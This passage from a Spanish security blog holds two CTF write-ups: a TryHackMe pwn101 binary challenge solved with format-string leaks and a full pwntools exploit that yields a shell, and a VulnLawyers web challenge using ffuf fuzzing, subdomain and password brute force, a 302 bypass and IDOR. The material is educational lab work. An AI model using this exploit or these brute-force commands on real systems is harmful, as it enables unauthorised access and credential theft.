<p>Le daremos a run, introduciremos el payload <strong><em>%11$p</em></strong></p>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWN7.webp" alt="" loading="lazy" /></p>

<p><strong><em>ni</em></strong> para continuar con la ejecución:</p>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWN8.webp" alt="" loading="lazy" /></p>

<p>Ahí podemos ver el supuesto leak de pie.</p>

<p>Y ahora, calculamos la diferencia entre esta dirección y la base. Dado que los offsets se mantienen, una vez tengamos el leak de pie, podremos calcular la base del binario.</p>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWN9.webp" alt="" loading="lazy" /></p>

<p>Ahora podemos comprobar que el leak del canario es correcto.</p>

<p>Ponemos un breakpoint en main+8 <strong><em>(b *main+8)</em></strong></p>

<p>Ejecutamos el binario <strong><em>(r)</em></strong></p>

<p>Avanzamos a la siguiente instrucción <strong><em>(ni)</em></strong></p>

<p>Como podemos ver en el assembly de ghidra, el canario queda almacenado en RAX:</p>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWN10.webp" alt="" loading="lazy" /></p>

<p>Ahora inspeccionamos este valor:</p>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWN11.webp" alt="" loading="lazy" /></p>

<p>Ahí tenemos el canario que genera el binario. Continuamos la ejecución e introducimos como payload el que nos saca GLUFS: <strong><em>%13$p</em></strong></p>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWN12.webp" alt="" loading="lazy" /></p>

<p>Como podemos ver, el output contiene el mismo valor que tenía RAX. Por tanto, el leak es correcto.</p>

<p>Teniendo todo esto listo, podemos escribir el exploit final:</p>

<p>La idea es conseguir el leak del canario, el leak de pie y calcular la base del binario. Seguidamente, explotaremos el BOF que se produce con el input2 (24 bytes), sobrescribiremos el valor del canario con el leakeado, sobrescribiremos RBP y pondremos en RIP la dirección de <strong><em>get_streak</em></strong>. Vamos a conseguir la dirección de <strong><em>get_streak</em></strong> gracias al leak de PIE que nos permite obtener la base del binario.</p>

<p>El exploit final queda así:</p>

<p class="code-title">solver.py</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="c1"># Allows you to switch between local/GDB/remote from terminal
</span><span class="k">def</span> <span class="nf">start</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>  <span class="c1"># Set GDBscript below
</span>        <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">debug</span><span class="p">([</span><span class="n">exe</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="n">gdbscript</span><span class="o">=</span><span class="n">gdbscript</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">args</span><span class="p">.</span><span class="n">REMOTE</span><span class="p">:</span>  <span class="c1"># ('server', 'port')
</span>        <span class="k">return</span> <span class="n">remote</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>  <span class="c1"># Run locally
</span>        <span class="k">return</span> <span class="n">process</span><span class="p">([</span><span class="n">exe</span><span class="p">]</span> <span class="o">+</span> <span class="n">argv</span><span class="p">,</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>

<span class="c1"># Find offset to EIP/RIP for buffer overflows
</span><span class="k">def</span> <span class="nf">find_ip</span><span class="p">(</span><span class="n">payload</span><span class="p">):</span>
    <span class="c1"># Launch process and send payload
</span>    <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">exe</span><span class="p">,</span> <span class="n">level</span><span class="o">=</span><span class="s">'warn'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt;'</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
    <span class="c1"># Wait for the process to crash
</span>    <span class="n">p</span><span class="p">.</span><span class="n">wait</span><span class="p">()</span>
    <span class="c1"># Print out the address of EIP/RIP at the time of crashing
</span>    <span class="c1"># ip_offset = cyclic_find(p.corefile.pc)  # x86
</span>    <span class="n">ip_offset</span> <span class="o">=</span> <span class="n">cyclic_find</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">corefile</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">corefile</span><span class="p">.</span><span class="n">sp</span><span class="p">,</span> <span class="mi">4</span><span class="p">))</span>  <span class="c1"># x64
</span>    <span class="n">warn</span><span class="p">(</span><span class="s">'located EIP/RIP offset at {a}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">a</span><span class="o">=</span><span class="n">ip_offset</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">ip_offset</span>

<span class="c1"># Specify GDB script here (breakpoints etc)
</span><span class="n">gdbscript</span> <span class="o">=</span> <span class="s">'''
init-pwndbg
b *main+164
'''</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="o">**</span><span class="nb">locals</span><span class="p">())</span>

<span class="c1"># Binary filename
</span><span class="n">exe</span> <span class="o">=</span> <span class="s">'./pwn107.pwn107'</span>
<span class="c1"># This will automatically get context arch, bits, os etc
</span><span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">exe</span><span class="p">,</span> <span class="n">checksec</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="c1"># Change logging level to help with debugging (error/warning/info/debug)
</span><span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'info'</span>

<span class="c1"># ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
</span>
<span class="c1"># Lib-C library, can use pwninit/patchelf to patch binary
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.27.so")
</span>
<span class="c1"># Pass in pattern_size, get back EIP/RIP offset
</span>
<span class="n">io</span> <span class="o">=</span> <span class="n">start</span><span class="p">()</span>

<span class="n">fs_canario_pie</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'%13$p %11$p'</span>

<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'streak?'</span><span class="p">,</span> <span class="n">fs_canario_pie</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'current streak: '</span><span class="p">)</span>

<span class="n">leak</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">split</span><span class="p">()</span>
<span class="n">canario</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">pie</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">offset_get_streak</span> <span class="o">=</span> <span class="mi">324</span>
<span class="n">offset_rip</span> <span class="o">=</span> <span class="mi">24</span>
<span class="n">ret_gadget</span> <span class="o">=</span> <span class="mh">0x00000000000006fe</span>
<span class="n">elf</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">pie</span> <span class="o">-</span> <span class="mh">0x780</span>

<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="s">"============================="</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"canario @ 0x</span><span class="si">{</span><span class="n">canario</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"pie     @ 0x</span><span class="si">{</span><span class="n">pie</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="sa">f</span><span class="s">"elf     @ 0x</span><span class="si">{</span><span class="n">elf</span><span class="p">.</span><span class="n">address</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">success</span><span class="p">(</span><span class="s">"============================="</span><span class="p">)</span>

<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">(</span>
	<span class="p">[</span>
		<span class="sa">b</span><span class="s">'A'</span><span class="o">*</span><span class="n">offset_rip</span><span class="p">,</span>
		<span class="n">canario</span><span class="p">,</span>
		<span class="sa">b</span><span class="s">'B'</span><span class="o">*</span><span class="mi">8</span><span class="p">,</span>
		<span class="n">elf</span><span class="p">.</span><span class="n">address</span> <span class="o">+</span> <span class="n">ret_gadget</span><span class="p">,</span>
		<span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">get_streak</span>
	<span class="p">]</span>
<span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'you'</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
<span class="n">write</span><span class="p">(</span><span class="s">"payload"</span><span class="p">,</span><span class="n">payload</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Es importante mencionar que tenemos que hacer un <strong><em>bypass del movaps.</em></strong> Es por ello por lo que he introducido un <strong><em>return gadget</em></strong>. Nuevamente, para calcular correctamente su dirección hay que conocer la base del binario.</p>

<h3 id="ejecución-en-local">Ejecución en local:</h3>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWN13.webp" alt="" loading="lazy" /></p>

<p>Podemos ver que obtenemos una shell.</p>

<h3 id="ejecución-en-remoto">Ejecución en remoto:</h3>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWNremoto.webp" alt="" loading="lazy" /></p>

<p>Con esto terminamos el challenge 7 de la room pwn101 de TryHackMe. Espero que os haya gustado y, lo más importante, que hayáis aprendido.</p>

<p>Que la Fuerza os acompañe</p>

<p>DiegoAltF4</p>]]></content><author><name>Diego Palacios</name></author><category term="blog" /><category term="spanish" /><category term="archive" /><summary type="html"><![CDATA[Hoy vamos a ver cómo resolver el challenge 7 de la room pwn101 de TryHackMe.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://diegoaltf4.com/assets/posts/challenge7-pwn101/cover.webp" /><media:content medium="image" url="https://diegoaltf4.com/assets/posts/challenge7-pwn101/cover.webp" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Writeup VulnLawyers ctfchallenge</title><link href="https://diegoaltf4.com/writeup-vulnlawyers-ctfchallenge/" rel="alternate" type="text/html" title="Writeup VulnLawyers ctfchallenge" /><published>2022-01-22T23:21:40+00:00</published><updated>2022-01-22T23:21:40+00:00</updated><id>https://diegoaltf4.com/writeup-vulnlawyers-ctfchallenge</id><content type="html" xml:base="https://diegoaltf4.com/writeup-vulnlawyers-ctfchallenge/"><![CDATA[<p>En el artículo de hoy, vamos a ver el reto VulnLawyers.</p>

<p>Se nos proporciona la siguiente <a href="http://www.vulnlawyers.co.uk/">dirección</a> y tenemos que encontrar 6 flags.</p>

<p>Lo primero de todo es <strong>inspeccionar la web</strong>:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220111205120.webp" alt="" loading="lazy" /></p>

<p>Lo único que vemos es una imagen y un par de frases. No hay ningún botón, ningún formulario…</p>

<p>Podemos inspeccionar el código fuente de la web:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220111205352.webp" alt="" loading="lazy" /></p>

<p>Y tampoco hay ninguna pista, no vemos ni comentarios ni nada.</p>

<p>Por tanto, podemos intentar encontrar<strong>directorios potenciales</strong> en la web. Para ello vamos a usar la herramienta <strong>ffuf</strong>.</p>

<p>Lógicamente, tenemos que emplear un diccionario para ir comprobando cada una de las rutas que aparecen en él. En este caso, vamos a utilizar el <a href="https://ctfchallenge.com/wordlists-raw/content.txt">content.txt</a>. Además, tenemos que indicar el <strong>tiempo de espera</strong> por cada petición (según las normas del reto debe ser de 0.1 segundos),  los <strong>hilos</strong> (según las normas del reto debe ser de 1 hilo) y la <strong>cookie</strong> ctfchallenge que nos proporciona el reto. Estos parámetros son obligatorios.</p>

<p>Si intentamos acceder a una ruta que no existe, por ejemplo:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://www.vulnlawyers.co.uk/diegoaltf4
</code></pre></div></div>

<p>podemos ver que nos devuelve el mensaje <em>“page not found!”</em>:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220111210601.webp" alt="VulnLawyers3" loading="lazy" /></p>

<p>Si miramos el código de estado de la petición podemos ver que es <strong>404</strong> (recurso no encontrado):</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220111210734.webp" alt="" loading="lazy" /></p>

<p>Por lo que podemos filtrar o por el mensaje <em>“page not found!”</em>, o por el código de estado, eliminando todos los resultados que contengan un código 404.</p>

<p>Finalmente, podemos tener las siguientes opciones:</p>

<ul>
  <li>Filtrando por “page not found!”:</li>
</ul>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/vulnLawyersC1.webp" alt="" loading="lazy" /></p>

<p class="code-title">eumeracion1.sh</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ffuf <span class="nt">-w</span> ./wordlists/content.txt  <span class="nt">-t</span> 1 <span class="nt">-p</span> 0.1 <span class="nt">-H</span> <span class="s2">"Cookie: ctfchallenge=VALOR"</span> <span class="nt">-u</span> http://www.vulnlawyers.co.uk/FUZZ <span class="nt">-fr</span> <span class="s1">'page not found!'</span>
</code></pre></div></div>

<ul>
  <li>Filtrando por el código de estado:</li>
</ul>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/vulnLawyersC2.webp" alt="" loading="lazy" /></p>

<p class="code-title">enumeracion2.sh</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ffuf <span class="nt">-w</span> ./wordlists/content.txt  <span class="nt">-t</span> 1 <span class="nt">-p</span> 0.1 <span class="nt">-H</span> <span class="s2">"Cookie: ctfchallenge=VALOR"</span> <span class="nt">-u</span> http://www.vulnlawyers.co.uk/FUZZ <span class="nt">-fc</span> 404
</code></pre></div></div>

<p>La salida que obtenemos es:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220111211258.webp" alt="" loading="lazy" /></p>

<p>Por tanto, hemos encontrado <strong>5</strong> posibles rutas. Vamos a empezar a investigar:</p>

<p>Si miramos en <a href="http://www.vulnlawyers.co.uk/denied">/denied</a> encontramos lo siguiente:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220111211515.webp" alt="" loading="lazy" /></p>

<p>Si entramos a <a href="http://www.vulnlawyers.co.uk/login">/login</a> vemos que hace una <strong>redirección</strong>, ya que tiene un código de estado <strong>302</strong>. Esta información ya la teníamos de nuestro escaneo con ffuf:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/1-6.webp" alt="" loading="lazy" /></p>

<h3 id="primera-flag">Primera flag</h3>

<h4 id="solución-1">Solución 1</h4>

<p>Para encontrar la primera flag podemos sencillamente analizar la petición que se hace a <a href="http://www.vulnlawyers.co.uk/login">/login</a> y en la respuesta podemos ver la flag y un mensaje <em>“Access to this portal can now be found here”</em></p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cens1.webp" alt="" loading="lazy" /></p>

<h4 id="solución-2">Solución 2</h4>

<p>Como vemos que hace una redirección, podemos analizar la petición con <strong>burp</strong> y tratar de modificar el código de estado 302 por un 200. Esta técnica se conoce como Bypass 302.</p>

<p>Lo primero que tenemos que hacer es ir a <strong>burpsuite</strong> y seleccionar la opción de <em>“capturar respuestas”</em> para ello iremos a <strong><em>Proxy-Options-Intercept Server Reponses</em></strong> y marcaremos la casilla <em>“Intercept responses based on the following rules”</em>:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220111213837.webp" alt="" loading="lazy" /></p>

<p>Intentamos acceder al endpoint <a href="http://www.vulnlawyers.co.uk/login">/login:</a></p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cens2.webp" alt="" loading="lazy" /></p>

<p>Le damos a <strong><em>forward</em></strong> y es aquí cuando veremos la respuesta:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cens3.webp" alt="" loading="lazy" /></p>

<p>Modificamos el 302 por un 200:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cens4.webp" alt="" loading="lazy" /></p>

<p>Le damos a <strong><em>forward</em></strong> y si miramos en nuestro navegador, veremos el contenido de <strong>/login</strong>:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220111214049.webp" alt="" loading="lazy" /></p>

<p>¡¡Ya tenemos la primera flag!!</p>

<p>Si intentamos acceder a <em>/lawyers-only</em> podemos ver que hace una redirección a <em>/lawyers-only-login</em></p>

<p>Esto podemos verlo con burp de la siguiente forma:</p>

<p>Capturamos la petición a <em>/lawyers-only</em>:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cens5.webp" alt="" loading="lazy" /></p>

<p>Y capturamos la respuesta, como se puede observar tenemos un código de estado <strong>302</strong> (redirección) y si miramos el campo <em>“location”</em> podemos ver que <strong>redirige</strong> a <em>/lawyers-only-login:</em></p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cens6.webp" alt="" loading="lazy" /></p>

<p>Lo podemos comprobar continuando con la ejecución de peticiones. Se envía un <strong>get</strong> a <em>/lawyers-only-login</em>:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cens7.webp" alt="" loading="lazy" /></p>

<p>Y obtenemos una respuesta con código de estado <strong>200</strong>:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cens8.webp" alt="" loading="lazy" /></p>

<p>La página que se nos muestra contiene un panel de <strong>login</strong>:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220117184541.webp" alt="" loading="lazy" /></p>

<p>Tras intentar varios ataques de fuerza bruta sobre el usuario y contraseña sin éxito, decidí buscar posibles <strong>subdominios</strong>:</p>

<h3 id="segunda-flag">Segunda flag</h3>

<p>Para enumerar subdominios mediante fuerza bruta, recomiendo usar una herramienta llamada <strong><em>“dnsrecon”</em></strong>. Su funcionamiento es bastante sencillo:</p>

<ul>
  <li>con el parámetro -d le indicamos el dominio que queremos enumerar</li>
  <li>con el parámetro -D le indicamos el<a href="https://ctfchallenge.com/wordlists-raw/subdomains.txt">wordlist que vamos a utilizar</a></li>
  <li>con el parámetro -t le indicamos el tipo de enumeración que queremos efectuar. En este caso, bruteforce (brt)</li>
</ul>

<p><em>para más información sobre el uso de dnsrecon recomiendo visitar <a href="https://manpages.debian.org/stretch/dnsrecon/dnsrecon.1.en.html">el manual</a>:</em></p>

<p class="code-title">dnsrecon1.sh</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dnsrecon <span class="nt">-d</span> vulnlawyers.co.uk <span class="nt">-D</span> /home/diego/Hacking/CTFs/CTFchallenge/wordlists/subdomains.txt <span class="nt">-t</span> brt
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Performing host and subdomain brute force against vulnlawyers.co.uk
<span class="o">[</span><span class="k">*</span><span class="o">]</span> 	 A data.vulnlawyers.co.uk 68.183.255.206
<span class="o">[</span><span class="k">*</span><span class="o">]</span> 	 A www.vulnlawyers.co.uk 68.183.255.206
<span class="o">[</span>+] 2 Records Found
</code></pre></div></div>

<p>Podemos ver que hemos encontrado un subdominio interesante <strong><em>“data.vulnlawyers.co.uk”</em></strong>. Vamos a ver qué tiene:</p>

<p class="code-title">curl1.sh</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-H</span> <span class="s2">"Cookie: ctfchallenge=VALOR"</span> http://data.vulnlawyers.co.uk
<span class="o">{</span><span class="s2">"name"</span>:<span class="s2">"VulnLawyers Website API"</span>,<span class="s2">"version"</span>:<span class="s2">"2.1.04"</span>,<span class="s2">"flag"</span>:<span class="s2">"[^FLAG^E78DEBBFDFBEAFF1336B599B0724A530^FLAG^]"</span><span class="o">}</span>
</code></pre></div></div>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220117180718.webp" alt="" loading="lazy" /></p>

<h3 id="tercera-flag">Tercera flag</h3>

<p>Ahora que hemos encontrado un nuevo subdominio, podemos empezar a enumerar directorios potenciales:</p>

<p class="code-title">enumeracion3.sh</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diego@ubuntu:~/Hacking/CTFs/CTFchallenge<span class="nv">$ </span>ffuf <span class="nt">-w</span> ./wordlists/content.txt <span class="nt">-t</span> 1 <span class="nt">-p</span> 0.1 <span class="nt">-H</span> <span class="s2">"Cookie: ctfchallenge=VALOR"</span> <span class="nt">-u</span> http://data.vulnlawyers.co.uk/FUZZ <span class="nt">-fc</span> 404

        /<span class="s1">'___\  /'</span>___<span class="se">\ </span>          /<span class="s1">'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://data.vulnlawyers.co.uk/FUZZ
 :: Wordlist         : FUZZ: ./wordlists/content.txt
 :: Header           : Cookie: ctfchallenge=VALOR
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 4
 :: Delay            : 0.10 seconds
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response status: 404
________________________________________________

users                   [Status: 200, Size: 406, Words: 6, Lines: 1, Duration: 1128ms]
:: Progress: [4687/4687] :: Job [1/1] :: 3 req/sec :: Duration: [0:23:32] :: Errors: 0 ::
</span></code></pre></div></div>

<p>Encontramos una ruta potencial (<strong><em>users</em></strong>), vamos a echarle un ojo:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220117185656.webp" alt="" loading="lazy" /></p>

<p>Al final del json podemos ver la tercera flag.</p>

<h3 id="cuarta-flag">Cuarta flag</h3>

<p>Si analizamos el contenido del json podemos ver que hay una lista de <strong>nombres</strong> y de <strong>correos</strong>, ¡qué curioso!</p>

<p>¿En qué sitio habíamos visto un panel de login?</p>

<p>Efectivamente, anteriormente habíamos encontrado un panel de login, pero no habíamos conseguido acceder a él. Con esta nueva información podemos intentar un ataque de fuerza bruta:</p>

<p>Lo primero va a ser guardar los emails que hemos encontrado en un archivo. Seguidamente, tenemos que ver qué información se envía cuando intentamos acceder:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cens_vuln.webp" alt="" loading="lazy" /></p>

<p>Podemos ver que hay un campo <strong><em>“email”</em></strong> y un campo <strong><em>“password”</em></strong>. Con toda esta información, podemos empezar con nuestro ataque de fuerza bruta:</p>

<p class="code-title">enumeracion4.sh</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while </span><span class="nb">read </span>line<span class="p">;</span> <span class="k">do </span>ffuf <span class="nt">-w</span> ./wordlists/passwords.txt <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s2">"email=</span><span class="nv">$line</span><span class="s2">&amp;password=FUZZ"</span> <span class="nt">-t</span> 1 <span class="nt">-p</span> 0.1 <span class="nt">-H</span> <span class="s2">"Cookie: ctfchallenge=VALOR"</span> <span class="nt">-H</span> <span class="s2">"Content-Type: application/x-www-form-urlencoded"</span> <span class="nt">-u</span> http://www.vulnlawyers.co.uk/lawyers-only-login/ <span class="nt">-fr</span> <span class="s1">'Invalid'</span><span class="p">;</span> <span class="k">done</span> &lt; emails.txt 

        /<span class="s1">'___\  /'</span>___<span class="se">\ </span>          /<span class="s1">'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://www.vulnlawyers.co.uk/lawyers-only-login/
 :: Wordlist         : FUZZ: ./wordlists/passwords.txt
 :: Header           : Cookie: ctfchallenge=VALOR
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : email=jaskaran.lowe@vulnlawyers.co.uk&amp;password=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 4
 :: Delay            : 0.10 seconds
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Regexp: Invalid
________________________________________________

summer                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1044ms]
:: Progress: [101/101] :: Job [1/1] :: 3 req/sec :: Duration: [0:00:29] :: Errors: 0 ::
</span></code></pre></div></div>

<p>¡Bingo! Hemos conseguido unas credenciales válidas</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jaskaran.lowe@vulnlawyers.co.uk:summer
</code></pre></div></div>

<p>Vamos a intentar acceder:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220117194246.webp" alt="" loading="lazy" /></p>

<p>Hemos conseguido acceder y ya tenemos la cuarta flag.</p>

<h3 id="quinta-flag">Quinta flag</h3>

<p>Si nos fijamos en la captura de arriba, podemos ver que se indica que solo el case manager (<strong><em>Shayne Cairns</em></strong>) puede hacer cambios en el caso<strong><em>.</em></strong></p>

<p>Además, hay un botón <em>“Profile”</em> que nos lleva a <em>“/lawyers-only-profile”</em>, pero si intentamos actualizar el perfil nos salta el siguiente mensaje de error: <strong><em>“Updates are currently disabled”</em></strong></p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Captura-de-pantalla-de-2022-01-22-17-28-17.webp" alt="" loading="lazy" /></p>

<p>Vamos a mirar el código fuente:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cFuente.webp" alt="" loading="lazy" /></p>

<p>Podemos ver un endpoit bastante curioso: <strong><em>/lawyers-only-profile-details/4</em></strong></p>

<p>Vamos a ver qué información esconde:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cens_vuln2.webp" alt="" loading="lazy" /></p>

<p>Tal y como se puede ver, podemos ver la contraseña del usuario y hay un ID. Esto tiene pinta de IDOR (<em>Insecure direct object reference</em>).</p>

<p>Si ponemos ID 5 obtenemos la información de <strong><em>Marsha Blankenship</em></strong>:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cens_vuln3.webp" alt="" loading="lazy" /></p>

<p>Y si ponemos ID 2 encontramos la información de <strong><em>Shayne Cairns</em></strong>(la manager):</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/cens_vuln4.webp" alt="" loading="lazy" /></p>

<p>¡Ya tenemos la quinta flag!</p>

<h3 id="sexta-flag">Sexta flag</h3>

<p>Vamos a acceder con las credenciales que hemos conseguido.</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220117201305.webp" alt="" loading="lazy" /></p>

<p>Vemos que sale un botón <em>“Delete Case”</em>, vamos a darle:</p>

<p><img class="post-img" src="/assets/posts/writeup-vulnlawyers-ctfchallenge/Pasted-image-20220117201243.webp" alt="" loading="lazy" /></p>

<p>Sorprendentemente, conseguimos la sexta flag. No es necesario hacer nada más.</p>

<p>Con esto terminamos el reto. Espero que os haya gustado y, lo más importante, que hayáis aprendido.</p>

